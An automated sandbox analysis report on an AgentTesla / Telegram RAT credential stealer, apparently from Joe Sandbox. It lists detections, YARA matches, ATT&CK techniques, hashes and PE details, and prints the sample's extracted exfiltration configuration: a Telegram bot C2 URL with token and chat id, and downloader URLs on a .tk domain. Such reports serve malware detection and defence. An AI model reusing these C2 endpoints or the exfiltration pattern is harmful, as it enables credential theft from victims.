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Windows Analysis Report 
SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.27473

Overview

General Information

Sample 
Name:

SecuriteInfo.com.Trojan.D
ownLoaderNET.447.21602
.27473 (renamed file 
extension from 27473 to 
exe)

Analysis ID: 680350

MD5: 36c6dddaa5fb7f1…

SHA1: 11914d1b9eceea…

SHA256: fbeb5eff4ac0eae…

Tags: exe

Infos:

Detection

AgentTesla

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Malicious sample detected (through…

Yara detected Telegram RAT

Yara detected AgentTesla

Snort IDS alert for network traffic

Tries to steal Mail credentials (via fi…

Writes to foreign memory regions

Detected potential unwanted applica…

Tries to harvest and steal Putty / W…

Tries to harvest and steal ftp login c…

Uses the Telegram API (likely for C…

Machine Learning detection for sam…

Allocates memory in foreign process…

.NET source code contains potentia…

Injects a PE file into a foreign proce…

Yara detected Generic Downloader

.NET source code contains very larg…

Queries sensitive network adapter in…

Tries to harvest and steal browser in…

Queries sensitive BIOS Information…

Queries the volume information (nam…

Yara signature match

Antivirus or Machine Learning detec…

May sleep (evasive loops) to hinder…

Contains functionality to shutdown /…

Uses code obfuscation techniques (…

Detected potential crypto function

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in co…

HTTP GET or POST without a user …

IP address seen in connection with …

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often f…

Found a high number of Window / U…

Sample file is different than original …

PE file contains an invalid checksum

PE file contains strange resources

PE / OLE file has an invalid certifica…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe (PID: 2280 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe" MD5:

36C6DDDAA5FB7F14E221C8FA3BDA0D92)
cvtres.exe (PID: 5216 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe MD5: C09985AE74F0882F208D75DE27770DFA)

cleanup

{

  "C2 url": "https://api.telegram.org/bot5083863399:AAH9g72QTdN88jNOd6_tBrE8gEd-FpXnfHE/sendMessage"

}

{

  "Exfil Mode": "Telegram",

  "Chat id": "5041089746",

  "Chat URL": "https://api.telegram.org/bot5083863399:AAH9g72QTdN88jNOd6_tBrE8gEd-FpXnfHE/sendDocument"

}

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Initial Sample
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Source Rule Description Author Strings

SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe JoeSecurity_Gene
ricDownloader_1

Yara detected 
Generic 
Downloader

Joe Security

Source Rule Description Author Strings

00000003.00000000.243097169.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

JoeSecurity_Agent
Tesla_1

Yara detected 
AgentTesla

Joe Security

00000003.00000000.243097169.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

JoeSecurity_Agent
Tesla_2

Yara detected 
AgentTesla

Joe Security

00000003.00000000.243097169.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

Windows_Trojan_
AgentTesla_d3ac2
b2f

unknown unknown 0x31109:$a3: MailAccountConfiguration
0x31122:$a5: SmtpAccountConfiguration
0x310e9:$a8: set_BindingAccountConfiguration
0x30057:$a11: get_securityProfile
0x2fef8:$a12: get_useSeparateFolderTree
0x3184c:$a13: get_DnsResolver
0x30307:$a14: get_archivingScope
0x3012f:$a15: get_providerName
0x32837:$a17: get_priority
0x31e0b:$a18: get_advancedParameters
0x31223:$a19: get_disabledByRestriction
0x2fcce:$a20: get_LastAccessed
0x303a1:$a21: get_avatarType
0x31f22:$a22: get_signaturePresets
0x309c8:$a23: get_enableLog
0x301ac:$a26: set_accountName
0x3236d:$a27: set_InternalServerPort
0x2f63d:$a28: set_bindingConfigurationUID
0x31ee8:$a29: set_IdnAddress
0x326eb:$a30: set_GuidMasterKey
0x30207:$a31: set_username

00000003.00000000.243097169.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

Windows_Trojan_
AgentTesla_f2a90
d14

unknown unknown 0x3dd4:$a: 0B FE 01 2C 0B 07 16 7E 08 00 00 04 A2 1F 
0C 0C 00 08 1F 09 FE 01

00000003.00000000.242851689.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

JoeSecurity_Agent
Tesla_1

Yara detected 
AgentTesla

Joe Security

Click to see the 30 entries

Source Rule Description Author Strings

3.0.cvtres.exe.400000.4.unpack JoeSecurity_Agent
Tesla_1

Yara detected 
AgentTesla

Joe Security

3.0.cvtres.exe.400000.4.unpack JoeSecurity_Agent
Tesla_2

Yara detected 
AgentTesla

Joe Security

3.0.cvtres.exe.400000.4.unpack JoeSecurity_Gene
ricDownloader_1

Yara detected 
Generic 
Downloader

Joe Security

3.0.cvtres.exe.400000.4.unpack MALWARE_Win_
AgentTeslaV3

AgentTeslaV3 
infostealer payload

ditekSHen 0x30dc4:$s1: get_kbok
0x316f8:$s2: get_CHoo
0x32353:$s3: set_passwordIsSet
0x30bc8:$s4: get_enableLog
0x35319:$s8: torbrowser
0x33cf5:$s10: logins
0x335c3:$s11: credential
0x2ffbc:$g1: get_Clipboard
0x2ffca:$g2: get_Keyboard
0x2ffd7:$g3: get_Password
0x315a6:$g4: get_CtrlKeyDown
0x315b6:$g5: get_ShiftKeyDown
0x315c7:$g6: get_AltKeyDown

Memory Dumps

Unpacked PEs
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AV Detection

Networking

System Summary

3.0.cvtres.exe.400000.4.unpack Windows_Trojan_
AgentTesla_d3ac2
b2f

unknown unknown 0x31309:$a3: MailAccountConfiguration
0x31322:$a5: SmtpAccountConfiguration
0x312e9:$a8: set_BindingAccountConfiguration
0x30257:$a11: get_securityProfile
0x300f8:$a12: get_useSeparateFolderTree
0x31a4c:$a13: get_DnsResolver
0x30507:$a14: get_archivingScope
0x3032f:$a15: get_providerName
0x32a37:$a17: get_priority
0x3200b:$a18: get_advancedParameters
0x31423:$a19: get_disabledByRestriction
0x2fece:$a20: get_LastAccessed
0x305a1:$a21: get_avatarType
0x32122:$a22: get_signaturePresets
0x30bc8:$a23: get_enableLog
0x303ac:$a26: set_accountName
0x3256d:$a27: set_InternalServerPort
0x2f83d:$a28: set_bindingConfigurationUID
0x320e8:$a29: set_IdnAddress
0x328eb:$a30: set_GuidMasterKey
0x30407:$a31: set_username

Click to see the 42 entries

Source Rule Description Author Strings

⊘ No Sigma rule has matched

Timestamp: 192.168.2.48.8.8.854800532012811 08/08/22-12:54:11.254271

SID: 2012811

Source Port: 54800

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

Sigma Signatures

Snort Signatures
ET DNS Query to a .tk domain - Likely Hostile - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Joe Sandbox Signatures

Machine Learning detection for sample

Snort IDS alert for network traffic

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Malicious sample detected (through community Yara rule)

Detected potential unwanted application

.NET source code contains very large array initializations
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Data Obfuscation

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

2 1 1
Windows
Manageme
nt
Instrument
ation

Path
Interceptio
n

3 1 1
Process
Injection

1
Disable or
Modify
Tools

2
OS
Credential
Dumping

1
Account
Discovery

Remote
Services

1 1
Archive
Collected
Data

Exfiltration
Over Other
Network
Medium

1
Web
Service

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

1
System
Shutdown/
Reboot

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Deobfuscat
e/Decode
Files or
Information

1
Input
Capture

1 1 4
System
Information
Discovery

Remote
Desktop
Protocol

2
Data from
Local
System

Exfiltration
Over
Bluetooth

1
Ingress
Tool
Transfer

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

1
Obfuscated
Files or
Information

1
Credentials
in Registry

1 1 1
Security
Software
Discovery

SMB/Wind
ows Admin
Shares

1
Email
Collection

Automated
Exfiltration

1 1
Encrypted
Channel

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

1 1
Software
Packing

NTDS 1
Process
Discovery

Distributed
Component
Object
Model

1
Input
Capture

Scheduled
Transfer

3
Non-
Application
Layer
Protocol

SIM Card
Swap

Carrier
Billing
Fraud

Cloud
Accounts

Cron Network
Logon
Script

Network
Logon
Script

1
Masqueradi
ng

LSA
Secrets

1 3 1
Virtualizatio
n/Sandbox
Evasion

SSH Keylogging Data
Transfer
Size Limits

4
Application
Layer
Protocol

Manipulate
Device
Communic
ation

Manipulate
App Store
Rankings
or Ratings

Replication
Through
Removable
Media

Launchd Rc.commo
n

Rc.commo
n

1 3 1
Virtualizatio
n/Sandbox
Evasion

Cached
Domain
Credentials

1
Application
Window
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communic
ation

Jamming or
Denial of
Service

Abuse
Accessibilit
y Features

.NET source code contains potential unpacker

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Writes to foreign memory regions

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Yara detected Telegram RAT

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Yara detected Telegram RAT

Yara detected AgentTesla

Mitre Att&ck Matrix
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External
Remote
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Startup
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Startup
Items

3 1 1
Process
Injection
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System
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r Discovery

Windows
Remote
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Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-
Fi Access
Points

Data
Encrypted
for Impact

Drive-by
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Command
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Scripting
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Removal
from Tools
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Filesystem
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Remote
System
Discovery

Shared
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API
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Application
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Downgrade
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Generate
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Initial
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Network
Effects
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Behavior Graph

ID: 680350

Sample: SecuriteInfo.com.Trojan.Dow...

Startdate: 08/08/2022

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic

Malicious sample detected
(through community Yara

rule)
Yara detected AgentTesla 7 other signatures

SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe

15 3

        started       

sebastiank.tk

162.240.35.239, 443, 49751, 49756

UNIFIEDLAYER-AS-1US

United States

SecuriteInfo.com.T...T.447.21602.exe.log, ASCII

dropped

Writes to foreign memory
regions

Allocates memory in
foreign processes

Injects a PE file into
a foreign processes

cvtres.exe

14 2

        started       

api.telegram.org

149.154.167.220, 443, 49855

TELEGRAMRU

United Kingdom

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file

/ registry access)
3 other signatures

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Thumbnails
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Source Detection Scanner Label Link

SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe 100% Joe Sandbox ML

⊘ No Antivirus matches

Source Detection Scanner Label Link Download

3.0.cvtres.exe.400000.1.unpack 100% Avira TR/Spy.Gen8

3.0.cvtres.exe.400000.3.unpack 100% Avira TR/Spy.Gen8

3.2.cvtres.exe.400000.0.unpack 100% Avira TR/Spy.Gen8

3.0.cvtres.exe.400000.4.unpack 100% Avira TR/Spy.Gen8

3.0.cvtres.exe.400000.0.unpack 100% Avira TR/Spy.Gen8

3.0.cvtres.exe.400000.2.unpack 100% Avira TR/Spy.Gen8

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Download File

Download File

Download File

Download File

Download File

Download File
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⊘ No Antivirus matches

Source Detection Scanner Label Link

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

DynDns.comDynDNS 0% URL Reputation safe

https://api.telegram.org4 0% URL Reputation safe

https://sebastiank.tk/devv/POPO.txt 3% Virustotal Browse

https://sebastiank.tk/devv/POPO.txt 0% Avira URL Cloud safe

https://sebastiank.tk 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.zip%tordir%%ha

0% URL Reputation safe

https://FU6DgqPJnyDGd.net 0% Avira URL Cloud safe

https://sebastiank.tk/devv/DLLL.txt 0% Avira URL Cloud safe

sebastiank.tk 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip 0% URL Reputation safe

UEYOBD.com 0% Avira URL Cloud safe

https://sebastiank.tk4 0% Avira URL Cloud safe

https://sebastiank.tkD8 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

sebastiank.tk 162.240.35.239 true false unknown

api.telegram.org 149.154.167.220 true false high

Name Malicious Antivirus Detection Reputation

https://sebastiank.tk/devv/POPO.txt false 3%, Virustotal, Browse
Avira URL Cloud: safe

unknown

https://sebastiank.tk/devv/DLLL.txt false Avira URL Cloud: safe unknown

https://api.telegram.org/bot5083863399:AAH9g72QTdN88jNOd6_tBrE8gEd-
FpXnfHE/sendDocument

false high

Name Source Malicious Antivirus Detection Reputation

127.0.0.1:HTTP/1.1 cvtres.exe, 00000003.00000002.501623569.
00000000069B1000.00000004.00000800.00020
000.00000000.sdmp

false Avira URL Cloud: safe low

DynDns.comDynDNS cvtres.exe, 00000003.00000002.501623569.
00000000069B1000.00000004.00000800.00020
000.00000000.sdmp

false URL Reputation: safe unknown

https://api.telegram.org4 cvtres.exe, 00000003.00000002.503821674.
0000000006D0D000.00000004.00000800.00020
000.00000000.sdmp

false URL Reputation: safe unknown

https://api.telegram.org cvtres.exe, 00000003.00000002.503821674.
0000000006D0D000.00000004.00000800.00020
000.00000000.sdmp

false high

https://sebastiank.tk SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245025227
.00000000025F7000.00000004.00000800.0002
0000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://www.theonionrouter.com/dist.torproject.org/torbr
owser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

cvtres.exe, 00000003.00000002.501623569.
00000000069B1000.00000004.00000800.00020
000.00000000.sdmp

false URL Reputation: safe unknown

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Copyright Joe Security LLC 2022 Page 10 of 31
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https://api.telegram.org/bot5083863399:AAH9g72QTd
N88jNOd6_tBrE8gEd-FpXnfHE/

SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245594271
.0000000003D89000.00000004.00000800.0002
0000.00000000.sdmp, cvtres.exe, 00000003
.00000000.243097169.0000000000402000.000
00040.00000400.00020000.00000000.sdmp, c
vtres.exe, 00000003.00000000.242587735.0
000000000402000.00000040.00000400.000200
00.00000000.sdmp

false high

https://FU6DgqPJnyDGd.net cvtres.exe, 00000003.00000002.503667667.
0000000006CCD000.00000004.00000800.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

sebastiank.tk SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245047543
.0000000002610000.00000004.00000800.0002
0000.00000000.sdmp

false Avira URL Cloud: safe unknown

api.telegram.org cvtres.exe, 00000003.00000002.503890363.
0000000006D20000.00000004.00000800.00020
000.00000000.sdmp

false high

schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245025227
.00000000025F7000.00000004.00000800.0002
0000.00000000.sdmp, cvtres.exe, 00000003
.00000002.503821674.0000000006D0D000.000
00004.00000800.00020000.00000000.sdmp

false high

https://www.theonionrouter.com/dist.torproject.org/torbr
owser/9.5.3/tor-win32-0.4.3.6.zip

SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245594271
.0000000003D89000.00000004.00000800.0002
0000.00000000.sdmp, cvtres.exe, 00000003
.00000000.243097169.0000000000402000.000
00040.00000400.00020000.00000000.sdmp, c
vtres.exe, 00000003.00000000.242587735.0
000000000402000.00000040.00000400.000200
00.00000000.sdmp

false URL Reputation: safe unknown

UEYOBD.com cvtres.exe, 00000003.00000002.501623569.
00000000069B1000.00000004.00000800.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://api.telegram.org/bot5083863399:AAH9g72QTd
N88jNOd6_tBrE8gEd-
FpXnfHE/sendDocumentdocument-----

cvtres.exe, 00000003.00000002.501623569.
00000000069B1000.00000004.00000800.00020
000.00000000.sdmp

false high

https://sebastiank.tk4 SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245025227
.00000000025F7000.00000004.00000800.0002
0000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://sebastiank.tkD8 SecuriteInfo.com.Trojan.DownLoaderNET.44
7.21602.exe, 00000000.00000002.245081518
.0000000002630000.00000004.00000800.0002
0000.00000000.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

World Map of Contacted IPs
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No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

149.154.167.220 api.telegram.org United Kingdom 62041 TELEGRAMRU false

162.240.35.239 sebastiank.tk United States 46606 UNIFIEDLAYER-AS-1US false

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 680350

Start date and time: 08/08/202212:53:08 2022-08-08 12:53:08 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 7m 49s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.27473 (renamed file extension from 27473 to exe)

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

27

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@3/1@2/2

EGA Information: Successful, ratio: 100%

HDC Information: Failed

Public IPs

General Information
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HCA Information: Successful, ratio: 98%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (wh itelisted): 23.211.6.115
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, fs.microsoft.com, login.live.com, store-images.s-microsoft.com, 
sls.update.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net,
arc.msn.com
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtAllocateVirtualMemory calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.

Time Type Description

12:54:15 API Interceptor 1x Sleep call for process: SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe modified

12:54:28 API Interceptor 730x Sleep call for process: cvtres.exe modified

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 847

Entropy (8bit): 5.35816127824051

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe.log
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Encrypted: false

SSDEEP: 24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7a:MxHKXwYHKhQnoPtHoxHhAHKzva

MD5: 31E089E21A2AEB18A2A23D3E61EB2167

SHA1: E873A8FC023D1C6D767A0C752582E3C9FD67A8B0

SHA-256: 2DCCE5D76F242AF36DB3D670C006468BEEA4C58A6814B2684FE44D45E7A3F836

SHA-512: A0DB65C3E133856C0A73990AEC30B1B037EA486B44E4A30657DD5775880FB9248D9E1CB533420299D0538882E9A883BA64F30F7263EB0DD62D1C673E7DBA881D

Malicious: true

Reputation: high, very likely benign file

Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..

File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Entropy (8bit): 5.416536296760798

TrID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Win32 Executable (generic) a (10002005/4) 49.97%
Generic Win/DOS Executable (2004/3) 0.01%
DOS Executable Generic (2002/1) 0.01%
Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%

File name: SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe

File size: 246304

MD5: 36c6dddaa5fb7f14e221c8fa3bda0d92

SHA1: 11914d1b9eceea7365aa1195777193e8b7686bc9

SHA256: fbeb5eff4ac0eaeeba51f60586ef6279f4c483c14803f293dbc513c8a032f60e

SHA512: a66f4c78c609cf4c7d58d33bff7a106a9fb77a66c33cb7e420f8ee67c634c2752b43f72200d72f513629ba3df32191efea6400bd21a20a45b21fd201e154a931

SSDEEP: 1536:8UyE4Z7HDAZeLFuTOG/Hrqj71ZjhGIBOrPaOYdSkjiRNqOP3t2:ME4iUub/Hrq371hEbaFSkjiRrPd

TLSH: 3834BB74A1F12ACEE896CEB29E60E919FFE31C519A45820FD03235F6553BB85C6041FE

File Content 
Preview:

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b..............0.............N.... ... ....@.. 
.............................._h....`................................

Icon Hash: 90828c8c8c8a9010

Entrypoint: 0x41004e

Entrypoint Section: .text

Digitally signed: true

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE

DLL Characteristics: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Time Stamp: 0x62F0C585 [Mon Aug  8 08:12:53 2022 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Static File Info

General

File Icon

Static PE Info

General
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Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Signature Valid: false

Signature Issuer: CN=DigiCert High Assurance Code Signing CA-1, OU=www.digicert.com, O=DigiCert Inc, C=US

Signature Validation Error: The digital signature of the object did not verify

Error Number: -2146869232

Not Before, Not After 10/30/2013 1:00:00 AM 1/4/2017 1:00:00 PM

Subject Chain CN=Wen Jia Liu, O=Wen Jia Liu, L=Sydney, S=New South Wales, C=AU

Version: 3

Thumbprint MD5: FB7AAB26B203432685FBC0FF17F24045

Thumbprint SHA-1: 32387AEC09EB287F202E98398189B460F4C61A0D

Thumbprint SHA-256: E0E85619EEF45FCE4421E4BA581060E43BBBF25911CD757DD081DA425DD1DB51

Serial: 0FF1EF66BD621C65B74B4DE41425717F

Instruction

jmp dword ptr [00402000h]

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Authenticode Signature

Entrypoint Preview
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add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Instruction

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

Data Directories
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IMAGE_DIRECTORY_ENTRY_IMPORT 0xfffc 0x4f .text

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x12000 0x2a0c4 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x38800 0x3a20

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x3e000 0xc .reloc

IMAGE_DIRECTORY_ENTRY_DEBUG 0xffb4 0x1c .text

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x2000 0x8 .text

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x2008 0x48 .text

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Is in Section

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0xe054 0xe200 False 0.4872614767699115 Targa image data - Map 2 x 
5 x 28 +72 - 1-bit alpha - 
right - four way interleave ""

5.972358130871814 IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_EXECU
TE, 
IMAGE_SCN_MEM_READ

.rsrc 0x12000 0x2a0c4 0x2a200 False 0.13789526149851633 data 4.499897463746581 IMAGE_SCN_CNT_INITIALI
ZED_DATA, 
